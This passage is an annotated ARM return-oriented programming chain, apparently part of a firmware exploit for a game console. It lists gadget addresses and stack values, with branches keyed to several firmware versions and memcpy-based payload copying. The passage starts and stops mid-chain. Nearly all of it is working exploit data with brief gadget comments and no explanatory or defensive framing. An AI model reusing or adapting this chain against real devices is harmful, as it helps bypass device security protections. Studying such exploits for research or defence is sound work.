  517. 0x08F0180C: 0x00207954 ; R0 = R0 + R1, LDMFD SP!, {R4,PC}
  518. 0x08F01810: 0x002CAFE4 ; R4
  519. 0x08F01814: 0x001B560C ; SET_FLAG(FIRM == 2.34-0), if (!flag) R0 = 1, LDMFD SP!, {R3,PC}
  520. 0x08F01818: 0x00269758 ; R3
  521. 0x08F0181C: 0x002AD574 ; LDMFD SP!, {R0,PC}
  522. 0x08F01820: 0x08F01870 ; R0
  523. 0x08F01824: 0x00269758 ; LDMFD SP!, {R1,PC}
  524. 0x08F01828: 0x002D6A30 ; R1, MOV SP, LR, LDMFD SP!, {LR,PC}
  525. 0x08F0182C: 0x0020E780 ; if (!flag) *R0 = R1, LDMFD SP!, {R4,PC}
  526. 0x08F01830: 0x00128605 ; R4
  527. 0x08F01834: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  528. 0x08F01838: 0x002104E5 ; R4
  529. 0x08F0183C: 0x002CCF7C ; R5
  530. 0x08F01840: 0x00184700 ; R6
  531. 0x08F01844: 0x00116400 ; R7
  532. 0x08F01848: 0x001B4300 ; R8
  533. 0x08F0184C: 0x00113200 ; R9
  534. 0x08F01850: 0x0007B800 ; R10
  535. 0x08F01854: 0x0021E630 ; R11
  536. 0x08F01858: 0x0010DB6C ; R12, nop
  537. 0x08F0185C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  538. 0x08F01860: 0x0010322C ; R4
  539. 0x08F01864: 0x0022FE44 ; R5
  540. 0x08F01868: 0x00100B5C ; R6
  541. 0x08F0186C: 0x08F0190C ; LR
  542. 0x08F01870: 0x0010DB6C ; nop (4.1.0) or MOV SP, LR (otherwise)
  543. ... IF FIRM == 4.1.0 ...
  544. 0x08F01874: 0x0017943B ; POP {R0-R4,R7,PC}
  545. 0x08F01878: 0x08F02894 ; R0, dst
  546. 0x08F0187C: 0x08F028D8 ; R1, src
  547. 0x08F01880: 0x00000044 ; R2, len
  548. 0x08F01884: 0x001CCC64 ; R3
  549. 0x08F01888: 0x00354850 ; R4
  550. 0x08F0188C: 0x00101408 ; R7
  551. 0x08F01890: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  552. 0x08F01894: 0x002104E5 ; R4
  553. 0x08F01898: 0x002CCF7C ; R5
  554. 0x08F0189C: 0x00184700 ; R6
  555. 0x08F018A0: 0x00116400 ; R7
  556. 0x08F018A4: 0x001B4300 ; R8
  557. 0x08F018A8: 0x00113200 ; R9
  558. 0x08F018AC: 0x0007B800 ; R10
  559. 0x08F018B0: 0x0021E630 ; R11
  560. 0x08F018B4: 0x0010DB6C ; R12, nop
  561. 0x08F018B8: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  562. 0x08F018BC: 0x0010322C ; R4
  563. 0x08F018C0: 0x0022FE44 ; R5
  564. 0x08F018C4: 0x00100B5C ; R6
  565. 0x08F018C8: 0x0010DB6C ; LR, nop
  566. 0x08F018CC: 0x00284918 ; memcpy, BX LR
  567. 0x08F018D0: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  568. 0x08F018D4: 0x002104E5 ; R4
  569. 0x08F018D8: 0x002CCF7C ; R5
  570. 0x08F018DC: 0x00184700 ; R6
  571. 0x08F018E0: 0x00116400 ; R7
  572. 0x08F018E4: 0x001B4300 ; R8
  573. 0x08F018E8: 0x00113200 ; R9
  574. 0x08F018EC: 0x0007B800 ; R10
  575. 0x08F018F0: 0x0021E630 ; R11
  576. 0x08F018F4: 0x0010DB6C ; R12, nop
  577. 0x08F018F8: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  578. 0x08F018FC: 0x0010322C ; R4
  579. 0x08F01900: 0x0022FE44 ; R5
  580. 0x08F01904: 0x00100B5C ; R6
  581. 0x08F01908: 0x08F0212C ; LR
  582. 0x08F0190C: 0x002D6A30 ; MOV SP, LR, LDMFD SP!, {LR,PC}
  583. ... ELSE ...
  584. 0x08F01910: 0x002AD574 ; LDMFD SP!, {R0,PC}
  585. 0x08F01914: 0x1FF80000 ; R0
  586. 0x08F01918: 0x001CCC64 ; R0 = *R0, LDMFD SP!, {R4,PC}
  587. 0x08F0191C: 0x001CCC64 ; R4
  588. 0x08F01920: 0x00269758 ; LDMFD SP!, {R1,PC}
  589. 0x08F01924: 0xFDDCFA00 ; R1
  590. 0x08F01928: 0x00207954 ; R0 = R0 + R1, LDMFD SP!, {R4,PC}
  591. 0x08F0192C: 0x002CAFE4 ; R4
  592. 0x08F01930: 0x001B560C ; SET_FLAG(FIRM == 2.35-6), if (!flag) R0 = 1, LDMFD SP!, {R3,PC}
  593. 0x08F01934: 0x00269758 ; R3
  594. 0x08F01938: 0x002AD574 ; LDMFD SP!, {R0,PC}
  595. 0x08F0193C: 0x08F0198C ; R0
  596. 0x08F01940: 0x00269758 ; LDMFD SP!, {R1,PC}
  597. 0x08F01944: 0x002D6A30 ; R1, MOV SP, LR, LDMFD SP!, {LR,PC}
  598. 0x08F01948: 0x0020E780 ; if (!flag) *R0 = R1, LDMFD SP!, {R4,PC}
  599. 0x08F0194C: 0x00128605 ; R4
  600. 0x08F01950: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  601. 0x08F01954: 0x002104E5 ; R4
  602. 0x08F01958: 0x002CCF7C ; R5
  603. 0x08F0195C: 0x00184700 ; R6
  604. 0x08F01960: 0x00116400 ; R7
  605. 0x08F01964: 0x001B4300 ; R8
  606. 0x08F01968: 0x00113200 ; R9
  607. 0x08F0196C: 0x0007B800 ; R10
  608. 0x08F01970: 0x0021E630 ; R11
  609. 0x08F01974: 0x0010DB6C ; R12, nop
  610. 0x08F01978: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  611. 0x08F0197C: 0x0010322C ; R4
  612. 0x08F01980: 0x0022FE44 ; R5
  613. 0x08F01984: 0x00100B5C ; R6
  614. 0x08F01988: 0x08F01A28 ; LR
  615. 0x08F0198C: 0x0010DB6C ; nop or MOV SP, LR, LDMFD SP!, {LR,PC}
  616. ... IF FIRM == 5.0.0 ...
  617. 0x08F01990: 0x0017943B ; POP {R0-R4,R7,PC}
  618. 0x08F01994: 0x08F02894 ; R0, dst
  619. 0x08F01998: 0x08F0291C ; R1, src
  620. 0x08F0199C: 0x00000044 ; R2, size
  621. 0x08F019A0: 0x001CCC64 ; R3
  622. 0x08F019A4: 0x00354850 ; R4
  623. 0x08F019A8: 0x00101408 ; R7
  624. 0x08F019AC: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  625. 0x08F019B0: 0x002104E5 ; R4
  626. 0x08F019B4: 0x002CCF7C ; R5
  627. 0x08F019B8: 0x00184700 ; R6
  628. 0x08F019BC: 0x00116400 ; R7
  629. 0x08F019C0: 0x001B4300 ; R8
  630. 0x08F019C4: 0x00113200 ; R9
  631. 0x08F019C8: 0x0007B800 ; R10
  632. 0x08F019CC: 0x0021E630 ; R11
  633. 0x08F019D0: 0x0010DB6C ; R12, nop
  634. 0x08F019D4: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  635. 0x08F019D8: 0x0010322C ; R4
  636. 0x08F019DC: 0x0022FE44 ; R5
  637. 0x08F019E0: 0x00100B5C ; R6
  638. 0x08F019E4: 0x0010DB6C ; LR, nop
  639. 0x08F019E8: 0x00284918 ; memcpy, BX LR
  640. 0x08F019EC: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  641. 0x08F019F0: 0x002104E5 ; R4
  642. 0x08F019F4: 0x002CCF7C ; R5
  643. 0x08F019F8: 0x00184700 ; R6
  644. 0x08F019FC: 0x00116400 ; R7
  645. 0x08F01A00: 0x001B4300 ; R8
  646. 0x08F01A04: 0x00113200 ; R9
  647. 0x08F01A08: 0x0007B800 ; R10
  648. 0x08F01A0C: 0x0021E630 ; R11
  649. 0x08F01A10: 0x0010DB6C ; R12, nop
  650. 0x08F01A14: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  651. 0x08F01A18: 0x0010322C ; R4
  652. 0x08F01A1C: 0x0022FE44 ; R5
  653. 0x08F01A20: 0x00100B5C ; R6
  654. 0x08F01A24: 0x08F0212C ; LR
  655. ... ELSE ...
  656. 0x08F01A28: 0x002D6A30 ; LR or MOV SP, LR, LDMFD SP!, {LR,PC}
  657. 0x08F01A2C: 0x002AD574 ; LDMFD SP!, {R0,PC}
  658. 0x08F01A30: 0x1FF80000 ;
  659. 0x08F01A34: 0x001CCC64 ;
  660. 0x08F01A38: 0x001CCC64 ;
  661. 0x08F01A3C: 0x00269758 ; LDMFD SP!, {R1,PC}
  662. 0x08F01A40: 0xFDDC0000 ;
  663. 0x08F01A44: 0x00207954 ;
  664. 0x08F01A48: 0x002CAFE4 ;
  665. 0x08F01A4C: 0x001B560C ; SET_FLAG(FIRM == 2.36-0), if (!flag) R0 = 1, LDMFD SP!, {R3,PC}
  666. 0x08F01A50: 0x00269758 ; LDMFD SP!, {R1,PC}
  667. 0x08F01A54: 0x002AD574 ; LDMFD SP!, {R0,PC}
  668. 0x08F01A58: 0x08F01AA8 ;
  669. 0x08F01A5C: 0x00269758 ; LDMFD SP!, {R1,PC}
  670. 0x08F01A60: 0x002D6A30 ;
  671. 0x08F01A64: 0x0020E780 ;
  672. 0x08F01A68: 0x00128605 ;
  673. 0x08F01A6C: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  674. 0x08F01A70: 0x002104E5 ;
  675. 0x08F01A74: 0x002CCF7C ;
  676. 0x08F01A78: 0x00184700 ;
  677. 0x08F01A7C: 0x00116400 ;
  678. 0x08F01A80: 0x001B4300 ;
  679. 0x08F01A84: 0x00113200 ;
  680. 0x08F01A88: 0x0007B800 ;
  681. 0x08F01A8C: 0x0021E630 ;
  682. 0x08F01A90: 0x0010DB6C ;
  683. 0x08F01A94: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  684. 0x08F01A98: 0x0010322C ;
  685. 0x08F01A9C: 0x0022FE44 ;
  686. 0x08F01AA0: 0x00100B5C ;
  687. 0x08F01AA4: 0x08F01B44 ;
  688. 0x08F01AA8: 0x0010DB6C ; nop or MOV SP, LR, LDMFD SP!, {LR,PC}
  689. ... IF FIRM == 5.1.0 ...
  690. 0x08F01AAC: 0x0017943B ; POP {R0-R4,R7,PC}
  691. 0x08F01AB0: 0x08F02894 ;
  692. 0x08F01AB4: 0x08F02960 ;
  693. 0x08F01AB8: 0x00000044 ;
  694. 0x08F01ABC: 0x001CCC64 ;
  695. 0x08F01AC0: 0x00354850 ; BLX R5, LDMFD SP!, {R4-R8,PC}
  696. 0x08F01AC4: 0x00101408 ; LDMFD SP!, {R4,R5,PC}
  697. 0x08F01AC8: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  698. 0x08F01ACC: 0x002104E5 ;
  699. 0x08F01AD0: 0x002CCF7C ;
  700. 0x08F01AD4: 0x00184700 ;
  701. 0x08F01AD8: 0x00116400 ;
  702. 0x08F01ADC: 0x001B4300 ;
  703. 0x08F01AE0: 0x00113200 ;
  704. 0x08F01AE4: 0x0007B800 ;
  705. 0x08F01AE8: 0x0021E630 ;
  706. 0x08F01AEC: 0x0010DB6C ;
  707. 0x08F01AF0: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  708. 0x08F01AF4: 0x0010322C ;
  709. 0x08F01AF8: 0x0022FE44 ;
  710. 0x08F01AFC: 0x00100B5C ;
  711. 0x08F01B00: 0x0010DB6C ;
  712. 0x08F01B04: 0x00284918 ; memcpy, BX LR
  713. 0x08F01B08: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  714. 0x08F01B0C: 0x002104E5 ;
  715. 0x08F01B10: 0x002CCF7C ;
  716. 0x08F01B14: 0x00184700 ;
  717. 0x08F01B18: 0x00116400 ;
  718. 0x08F01B1C: 0x001B4300 ;
  719. 0x08F01B20: 0x00113200 ;
  720. 0x08F01B24: 0x0007B800 ;
  721. 0x08F01B28: 0x0021E630 ;
  722. 0x08F01B2C: 0x0010DB6C ;
  723. 0x08F01B30: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  724. 0x08F01B34: 0x0010322C ;
  725. 0x08F01B38: 0x0022FE44 ;
  726. 0x08F01B3C: 0x00100B5C ;
  727. 0x08F01B40: 0x08F0212C ;
  728. 0x08F01B44: 0x002D6A30 ;
  729. 0x08F01B48: 0x002AD574 ; LDMFD SP!, {R0,PC}
  730. 0x08F01B4C: 0x1FF80000 ;
  731. 0x08F01B50: 0x001CCC64 ;
  732. 0x08F01B54: 0x001CCC64 ;
  733. 0x08F01B58: 0x00269758 ; LDMFD SP!, {R1,PC}
  734. 0x08F01B5C: 0xFDDB0000 ;
  735. 0x08F01B60: 0x00207954 ;
  736. 0x08F01B64: 0x002CAFE4 ;
  737. 0x08F01B68: 0x001B560C ; SET_FLAG(FIRM == 2.37-0), if (!flag) R0 = 1, LDMFD SP!, {R3,PC}
  738. 0x08F01B6C: 0x00269758 ; LDMFD SP!, {R1,PC}
  739. 0x08F01B70: 0x002AD574 ; LDMFD SP!, {R0,PC}
  740. 0x08F01B74: 0x08F01BC4 ;
  741. 0x08F01B78: 0x00269758 ; LDMFD SP!, {R1,PC}
  742. 0x08F01B7C: 0x002D6A30 ;
  743. 0x08F01B80: 0x0020E780 ;
  744. 0x08F01B84: 0x00128605 ;
  745. 0x08F01B88: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  746. 0x08F01B8C: 0x002104E5 ;
  747. 0x08F01B90: 0x002CCF7C ;
  748. 0x08F01B94: 0x00184700 ;
  749. 0x08F01B98: 0x00116400 ;
  750. 0x08F01B9C: 0x001B4300 ;
  751. 0x08F01BA0: 0x00113200 ;
  752. 0x08F01BA4: 0x0007B800 ;
  753. 0x08F01BA8: 0x0021E630 ;
  754. 0x08F01BAC: 0x0010DB6C ;
  755. 0x08F01BB0: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  756. 0x08F01BB4: 0x0010322C ;
  757. 0x08F01BB8: 0x0022FE44 ;
  758. 0x08F01BBC: 0x00100B5C ;
  759. 0x08F01BC0: 0x08F01C60 ;
  760. 0x08F01BC4: 0x0010DB6C ; nop or MOV SP, LR, LDMFD SP!, {LR,PC}
  761. ... IF FIRM == 6.0.0 ...
  762. 0x08F01BC8: 0x0017943B ; POP {R0-R4,R7,PC}
  763. 0x08F01BCC: 0x08F02894 ;
  764. 0x08F01BD0: 0x08F029A4 ;
  765. 0x08F01BD4: 0x00000044 ;
  766. 0x08F01BD8: 0x001CCC64 ;
  767. 0x08F01BDC: 0x00354850 ; BLX R5, LDMFD SP!, {R4-R8,PC}
  768. 0x08F01BE0: 0x00101408 ; LDMFD SP!, {R4,R5,PC}
  769. 0x08F01BE4: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  770. 0x08F01BE8: 0x002104E5 ;
  771. 0x08F01BEC: 0x002CCF7C ;
  772. 0x08F01BF0: 0x00184700 ;
  773. 0x08F01BF4: 0x00116400 ;
  774. 0x08F01BF8: 0x001B4300 ;
  775. 0x08F01BFC: 0x00113200 ;
  776. 0x08F01C00: 0x0007B800 ;
  777. 0x08F01C04: 0x0021E630 ;
  778. 0x08F01C08: 0x0010DB6C ;
  779. 0x08F01C0C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  780. 0x08F01C10: 0x0010322C ;
  781. 0x08F01C14: 0x0022FE44 ;
  782. 0x08F01C18: 0x00100B5C ;
  783. 0x08F01C1C: 0x0010DB6C ;
  784. 0x08F01C20: 0x00284918 ; memcpy, BX LR
  785. 0x08F01C24: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  786. 0x08F01C28: 0x002104E5 ;
  787. 0x08F01C2C: 0x002CCF7C ;
  788. 0x08F01C30: 0x00184700 ;
  789. 0x08F01C34: 0x00116400 ;
  790. 0x08F01C38: 0x001B4300 ;
  791. 0x08F01C3C: 0x00113200 ;
  792. 0x08F01C40: 0x0007B800 ;
  793. 0x08F01C44: 0x0021E630 ;
  794. 0x08F01C48: 0x0010DB6C ;
  795. 0x08F01C4C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  796. 0x08F01C50: 0x0010322C ;
  797. 0x08F01C54: 0x0022FE44 ;
  798. 0x08F01C58: 0x00100B5C ;
  799. 0x08F01C5C: 0x08F0212C ;
  800. ... ELSE ...
  801. 0x08F01C60: 0x002D6A30 ;
  802. 0x08F01C64: 0x002AD574 ; LDMFD SP!, {R0,PC}
  803. 0x08F01C68: 0x1FF80000 ;
  804. 0x08F01C6C: 0x001CCC64 ;
  805. 0x08F01C70: 0x001CCC64 ;
  806. 0x08F01C74: 0x00269758 ; LDMFD SP!, {R1,PC}
  807. 0x08F01C78: 0xFDDA0000 ;
  808. 0x08F01C7C: 0x00207954 ;
  809. 0x08F01C80: 0x002CAFE4 ;
  810. 0x08F01C84: 0x001B560C ; SET_FLAG(FIRM == 2.38-0), if (!flag) R0 = 1, LDMFD SP!, {R3,PC}
  811. 0x08F01C88: 0x00269758 ; LDMFD SP!, {R1,PC}
  812. 0x08F01C8C: 0x002AD574 ; LDMFD SP!, {R0,PC}
  813. 0x08F01C90: 0x08F01CE0 ;
  814. 0x08F01C94: 0x00269758 ; LDMFD SP!, {R1,PC}
  815. 0x08F01C98: 0x002D6A30 ;
  816. 0x08F01C9C: 0x0020E780 ;
  817. 0x08F01CA0: 0x00128605 ;
  818. 0x08F01CA4: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  819. 0x08F01CA8: 0x002104E5 ;
  820. 0x08F01CAC: 0x002CCF7C ;
  821. 0x08F01CB0: 0x00184700 ;
  822. 0x08F01CB4: 0x00116400 ;
  823. 0x08F01CB8: 0x001B4300 ;
  824. 0x08F01CBC: 0x00113200 ;
  825. 0x08F01CC0: 0x0007B800 ;
  826. 0x08F01CC4: 0x0021E630 ;
  827. 0x08F01CC8: 0x0010DB6C ;
  828. 0x08F01CCC: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  829. 0x08F01CD0: 0x0010322C ;
  830. 0x08F01CD4: 0x0022FE44 ;
  831. 0x08F01CD8: 0x00100B5C ;
  832. 0x08F01CDC: 0x08F01D7C ;
  833. 0x08F01CE0: 0x0010DB6C ; nop or MOV SP, LR, LDMFD SP!, {LR,PC}
  834. ... IF FIRM == 6.1.0 ...
  835. 0x08F01CE4: 0x0017943B ; POP {R0-R4,R7,PC}
  836. 0x08F01CE8: 0x08F02894 ;
  837. 0x08F01CEC: 0x08F029E8 ;
  838. 0x08F01CF0: 0x00000044 ;
  839. 0x08F01CF4: 0x001CCC64 ;
  840. 0x08F01CF8: 0x00354850 ; BLX R5, LDMFD SP!, {R4-R8,PC}
  841. 0x08F01CFC: 0x00101408 ; LDMFD SP!, {R4,R5,PC}
  842. 0x08F01D00: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  843. 0x08F01D04: 0x002104E5 ;
  844. 0x08F01D08: 0x002CCF7C ;
  845. 0x08F01D0C: 0x00184700 ;
  846. 0x08F01D10: 0x00116400 ;
  847. 0x08F01D14: 0x001B4300 ;
  848. 0x08F01D18: 0x00113200 ;
  849. 0x08F01D1C: 0x0007B800 ;
  850. 0x08F01D20: 0x0021E630 ;
  851. 0x08F01D24: 0x0010DB6C ;
  852. 0x08F01D28: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  853. 0x08F01D2C: 0x0010322C ;
  854. 0x08F01D30: 0x0022FE44 ;
  855. 0x08F01D34: 0x00100B5C ;
  856. 0x08F01D38: 0x0010DB6C ;
  857. 0x08F01D3C: 0x00284918 ; memcpy, BX LR
  858. 0x08F01D40: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  859. 0x08F01D44: 0x002104E5 ;
  860. 0x08F01D48: 0x002CCF7C ;
  861. 0x08F01D4C: 0x00184700 ;
  862. 0x08F01D50: 0x00116400 ;
  863. 0x08F01D54: 0x001B4300 ;
  864. 0x08F01D58: 0x00113200 ;
  865. 0x08F01D5C: 0x0007B800 ;
  866. 0x08F01D60: 0x0021E630 ;
  867. 0x08F01D64: 0x0010DB6C ;
  868. 0x08F01D68: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  869. 0x08F01D6C: 0x0010322C ;
  870. 0x08F01D70: 0x0022FE44 ;
  871. 0x08F01D74: 0x00100B5C ;
  872. 0x08F01D78: 0x08F0212C ;
  873. ... ELSE ...
  874. 0x08F01D7C: 0x002D6A30 ;
  875. 0x08F01D80: 0x002AD574 ; LDMFD SP!, {R0,PC}
  876. 0x08F01D84: 0x1FF80000 ;
  877. 0x08F01D88: 0x001CCC64 ;
  878. 0x08F01D8C: 0x001CCC64 ;
  879. 0x08F01D90: 0x00269758 ; LDMFD SP!, {R1,PC}
  880. 0x08F01D94: 0xFDD8FC00 ;
  881. 0x08F01D98: 0x00207954 ;
  882. 0x08F01D9C: 0x002CAFE4 ;
  883. 0x08F01DA0: 0x001B560C ; SET_FLAG(FIRM == 2.39-4), if (!flag) R0 = 1, LDMFD SP!, {R3,PC}
  884. 0x08F01DA4: 0x00269758 ; LDMFD SP!, {R1,PC}
  885. 0x08F01DA8: 0x002AD574 ; LDMFD SP!, {R0,PC}
  886. 0x08F01DAC: 0x08F01DFC ;
  887. 0x08F01DB0: 0x00269758 ; LDMFD SP!, {R1,PC}
  888. 0x08F01DB4: 0x002D6A30 ;
  889. 0x08F01DB8: 0x0020E780 ;
  890. 0x08F01DBC: 0x00128605 ;
  891. 0x08F01DC0: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  892. 0x08F01DC4: 0x002104E5 ;
  893. 0x08F01DC8: 0x002CCF7C ;
  894. 0x08F01DCC: 0x00184700 ;
  895. 0x08F01DD0: 0x00116400 ;
  896. 0x08F01DD4: 0x001B4300 ;
  897. 0x08F01DD8: 0x00113200 ;
  898. 0x08F01DDC: 0x0007B800 ;
  899. 0x08F01DE0: 0x0021E630 ;
  900. 0x08F01DE4: 0x0010DB6C ;
  901. 0x08F01DE8: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  902. 0x08F01DEC: 0x0010322C ;
  903. 0x08F01DF0: 0x0022FE44 ;
  904. 0x08F01DF4: 0x00100B5C ;
  905. 0x08F01DF8: 0x08F01E98 ;
  906. 0x08F01DFC: 0x0010DB6C ; nop or MOV SP, LR, LDMFD SP!, {LR,PC}
  907. ... IF FIRM == 7.0.0 ...
  908. 0x08F01E00: 0x0017943B ; POP {R0-R4,R7,PC}
  909. 0x08F01E04: 0x08F02894 ;
  910. 0x08F01E08: 0x08F02A2C ;
  911. 0x08F01E0C: 0x00000044 ;
  912. 0x08F01E10: 0x001CCC64 ;
  913. 0x08F01E14: 0x00354850 ; BLX R5, LDMFD SP!, {R4-R8,PC}
  914. 0x08F01E18: 0x00101408 ; LDMFD SP!, {R4,R5,PC}
  915. 0x08F01E1C: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  916. 0x08F01E20: 0x002104E5 ;
  917. 0x08F01E24: 0x002CCF7C ;
  918. 0x08F01E28: 0x00184700 ;
  919. 0x08F01E2C: 0x00116400 ;
  920. 0x08F01E30: 0x001B4300 ;
  921. 0x08F01E34: 0x00113200 ;
  922. 0x08F01E38: 0x0007B800 ;
  923. 0x08F01E3C: 0x0021E630 ;
  924. 0x08F01E40: 0x0010DB6C ;
  925. 0x08F01E44: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  926. 0x08F01E48: 0x0010322C ;
  927. 0x08F01E4C: 0x0022FE44 ;
  928. 0x08F01E50: 0x00100B5C ;
  929. 0x08F01E54: 0x0010DB6C ;
  930. 0x08F01E58: 0x00284918 ; memcpy, BX LR
  931. 0x08F01E5C: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  932. 0x08F01E60: 0x002104E5 ;
  933. 0x08F01E64: 0x002CCF7C ;
  934. 0x08F01E68: 0x00184700 ;
  935. 0x08F01E6C: 0x00116400 ;
  936. 0x08F01E70: 0x001B4300 ;
  937. 0x08F01E74: 0x00113200 ;
  938. 0x08F01E78: 0x0007B800 ;
  939. 0x08F01E7C: 0x0021E630 ;
  940. 0x08F01E80: 0x0010DB6C ;
  941. 0x08F01E84: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  942. 0x08F01E88: 0x0010322C ;
  943. 0x08F01E8C: 0x0022FE44 ;
  944. 0x08F01E90: 0x00100B5C ;
  945. 0x08F01E94: 0x08F0212C ;
  946. ... ELSE ...
  947. 0x08F01E98: 0x002D6A30 ;
  948. 0x08F01E9C: 0x002AD574 ; LDMFD SP!, {R0,PC}
  949. 0x08F01EA0: 0x1FF80000 ;
  950. 0x08F01EA4: 0x001CCC64 ;
  951. 0x08F01EA8: 0x001CCC64 ;
  952. 0x08F01EAC: 0x00269758 ; LDMFD SP!, {R1,PC}
  953. 0x08F01EB0: 0xFDD80000 ;
  954. 0x08F01EB4: 0x00207954 ;
  955. 0x08F01EB8: 0x002CAFE4 ;
  956. 0x08F01EBC: 0x001B560C ; SET_FLAG(FIRM == 2.40-0), if (!flag) R0 = 1, LDMFD SP!, {R3,PC}
  957. 0x08F01EC0: 0x00269758 ; LDMFD SP!, {R1,PC}
  958. 0x08F01EC4: 0x002AD574 ; LDMFD SP!, {R0,PC}
  959. 0x08F01EC8: 0x08F01F18 ;
  960. 0x08F01ECC: 0x00269758 ; LDMFD SP!, {R1,PC}
  961. 0x08F01ED0: 0x002D6A30 ;
  962. 0x08F01ED4: 0x0020E780 ;
  963. 0x08F01ED8: 0x00128605 ;
  964. 0x08F01EDC: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  965. 0x08F01EE0: 0x002104E5 ;
  966. 0x08F01EE4: 0x002CCF7C ;
  967. 0x08F01EE8: 0x00184700 ;
  968. 0x08F01EEC: 0x00116400 ;
  969. 0x08F01EF0: 0x001B4300 ;
  970. 0x08F01EF4: 0x00113200 ;
  971. 0x08F01EF8: 0x0007B800 ;
  972. 0x08F01EFC: 0x0021E630 ;
  973. 0x08F01F00: 0x0010DB6C ;
  974. 0x08F01F04: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  975. 0x08F01F08: 0x0010322C ;
  976. 0x08F01F0C: 0x0022FE44 ;
  977. 0x08F01F10: 0x00100B5C ;
  978. 0x08F01F14: 0x08F01FB4 ;
  979. 0x08F01F18: 0x0010DB6C ; nop or MOV SP, LR, LDMFD SP!, {LR,PC}
  980. ... IF FIRM == 7.2.0 ...
  981. 0x08F01F1C: 0x0017943B ; POP {R0-R4,R7,PC}
  982. 0x08F01F20: 0x08F02894 ;
  983. 0x08F01F24: 0x08F02A70 ;
  984. 0x08F01F28: 0x00000044 ;
  985. 0x08F01F2C: 0x001CCC64 ;
  986. 0x08F01F30: 0x00354850 ; BLX R5, LDMFD SP!, {R4-R8,PC}
  987. 0x08F01F34: 0x00101408 ; LDMFD SP!, {R4,R5,PC}
  988. 0x08F01F38: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  989. 0x08F01F3C: 0x002104E5 ;
  990. 0x08F01F40: 0x002CCF7C ;
  991. 0x08F01F44: 0x00184700 ;
  992. 0x08F01F48: 0x00116400 ;
  993. 0x08F01F4C: 0x001B4300 ;
  994. 0x08F01F50: 0x00113200 ;
  995. 0x08F01F54: 0x0007B800 ;
  996. 0x08F01F58: 0x0021E630 ;
  997. 0x08F01F5C: 0x0010DB6C ;
  998. 0x08F01F60: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  999. 0x08F01F64: 0x0010322C ;
  1000. 0x08F01F68: 0x0022FE44 ;
  1001. 0x08F01F6C: 0x00100B5C ;
  1002. 0x08F01F70: 0x0010DB6C ;
  1003. 0x08F01F74: 0x00284918 ; memcpy, BX LR
  1004. 0x08F01F78: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1005. 0x08F01F7C: 0x002104E5 ;
  1006. 0x08F01F80: 0x002CCF7C ;
  1007. 0x08F01F84: 0x00184700 ;
  1008. 0x08F01F88: 0x00116400 ;
  1009. 0x08F01F8C: 0x001B4300 ;
  1010. 0x08F01F90: 0x00113200 ;
  1011. 0x08F01F94: 0x0007B800 ;
  1012. 0x08F01F98: 0x0021E630 ;
  1013. 0x08F01F9C: 0x0010DB6C ;
  1014. 0x08F01FA0: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1015. 0x08F01FA4: 0x0010322C ;
  1016. 0x08F01FA8: 0x0022FE44 ;
  1017. 0x08F01FAC: 0x00100B5C ;
  1018. 0x08F01FB0: 0x08F0212C ;
  1019. ... ELSE ...
  1020. 0x08F01FB4: 0x002D6A30 ;
  1021. 0x08F01FB8: 0x002AD574 ; LDMFD SP!, {R0,PC}
  1022. 0x08F01FBC: 0x1FF80000 ;
  1023. 0x08F01FC0: 0x001CCC64 ;
  1024. 0x08F01FC4: 0x001CCC64 ;
  1025. 0x08F01FC8: 0x00269758 ; LDMFD SP!, {R1,PC}
  1026. 0x08F01FCC: 0xFDD3FA00 ;
  1027. 0x08F01FD0: 0x00207954 ;
  1028. 0x08F01FD4: 0x002CAFE4 ;
  1029. 0x08F01FD8: 0x001B560C ; SET_FLAG(FIRM == 2.44-6), if (!flag) R0 = 1, LDMFD SP!, {R3,PC}
  1030. 0x08F01FDC: 0x00269758 ; LDMFD SP!, {R1,PC}
  1031. 0x08F01FE0: 0x002AD574 ; LDMFD SP!, {R0,PC}
  1032. 0x08F01FE4: 0x08F02034 ;
  1033. 0x08F01FE8: 0x00269758 ; LDMFD SP!, {R1,PC}
  1034. 0x08F01FEC: 0x002D6A30 ;
  1035. 0x08F01FF0: 0x0020E780 ;
